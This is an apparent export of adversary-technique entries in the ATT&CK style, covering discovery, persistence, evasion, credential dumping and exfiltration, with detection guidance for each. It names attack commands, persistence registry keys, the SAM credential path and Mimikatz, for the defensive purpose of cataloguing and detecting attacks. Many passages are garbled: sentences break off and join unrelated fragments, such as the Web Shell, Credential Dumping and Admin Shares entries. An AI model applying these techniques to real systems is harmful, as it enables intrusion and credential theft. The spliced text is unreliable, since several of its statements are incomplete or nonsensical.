Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.
===Mac===
Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.
===Linux===
Utilities such as "ping" and others can be used to gather information about remote systems.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X
Data Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters
Links |
Permission Groups Discovery
Adversaries may attempt to find local system or domain-level groups and permissions settings.
===Windows===
Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.
===Mac===
On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.
===Linux===
On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: API monitoring, Process monitoring, Process command-line parameters
Links |
File Deletion
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]
Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process command-line parameters, Binary file metadata
Contributors: Walker Johnson
Links |
Path Interception
Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.
Detection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring
Effective Permissions: User, Administrator, SYSTEM
Contributors: Stefan Kanthak
Links |
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 |
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120 |
LC_LOAD_DYLIB Addition
Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].
Detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.
Platforms: MacOS, OS X
Data Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
Bootkit
A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]
Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
===Master Boot Record=== The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]
===Volume Boot Record=== The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
Detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10
Data Sources: API monitoring, MBR, VBR
Indicator Removal on Host
Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Re-opened Applications
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].
Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.
Platforms: MacOS, OS X
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Exfiltration Over Other Network Medium
Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Detection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: User interface, Process monitoring
Contributors: Itzik Kotler, SafeBreach
Links |
Data from Local System
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Web Shell
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).Redundant Access or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.
Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload:cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server’s content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.[[Citation: US-CERT Alert TA15-314A Web Shells]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow, Anti-virus
Effective Permissions: User, SYSTEM
Links |
Service Registry Permissions Weakness
Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, Services, Process command-line parameters
Effective Permissions: SYSTEM
Links |
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx |
Windows Admin Shares
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.
Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials.Net, on the command-line interface and techniques that could be used to find remotely accessible systems.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters
Links |
Winlogon Helper DLL
Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.
Detection: Monitor for changes to registry entries in <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].
Platforms: Windows Server 2003, Windows XP, Windows Server 2003 R2
Data Sources: Windows Registry, File monitoring, Process monitoring
Links |
Network Share Discovery
Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
===Windows===
File sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.
Platforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X
Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network
Links |
Remote Services
An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
Detection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through techniques prior to attempting [[Lateral Movement]].
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Authentication logs
Links |
Accessibility Features
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]
Other accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]
*On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> *Magnifier: <code>C:\Windows\System32\Magnify.exe</code> *Narrator: <code>C:\Windows\System32\Narrator.exe</code> *Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> *App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, File monitoring, Process monitoring
Effective Permissions: SYSTEM
Contributors: Paul Speulstra, AECOM Global Security Operations Center
Links |
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ |
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom |
Taint Shared Content
Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.
Detection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network techniques.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring
Links |
External Remote Services
Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.
Adversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.
Detection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs
Contributors: Daniel Oakley
Links |
Application Deployment Software
Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
Detection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process use of network, Process monitoring
Links |
Automated Collection
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.
Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Data loss prevention, Process command-line parameters
Links |
Security Support Provider
Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. [[Citation: Graeber 2014]]
Detection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: DLL monitoring, Windows Registry, Loaded DLLs
Links |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
HISTCONTROL
The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
Detection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.
Platforms: Linux, MacOS, OS X
Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable
Links |
Rundll32
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata
Links |
Network Sniffing
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.
User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow
Links |
Local Port Monitor
A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
Detection: * Monitor process API calls to AddMonitor. * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor registry writes to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring
Effective Permissions: SYSTEM
Contributors: Stefan Kanthak
Links |
Source
The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.
Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.
Platforms: Linux, MacOS, OS X
Data Sources: Process Monitoring, File monitoring, Process command-line parameters
Links |
Software Packing
Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Binary file metadata
Links |
Application Window Discovery
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
In Mac, this can be done natively with a small AppleScript script.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X
Data Sources: API monitoring, Process monitoring, Process command-line parameters
Links |
Hypervisor
A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware.Rootkit functionality to hide its existence from the guest operating system.[[Citation: Myers 2007]] A malicious hypervisor of this nature could be used to persist on systems through interruption.
Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present.[[Citation: virtualization.info 2006]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: System calls
Links |
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf |
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html |
Credential Dumping
Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.
Plaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.
NTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit’s Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters
Links |
https://github.com/gentilkiwi/mimikatz/wiki/module--sekurlsa[https://github.com/gentilkiwi/mimikatz/wiki/module--sekurlsa] |
Web Service
Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
Popular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
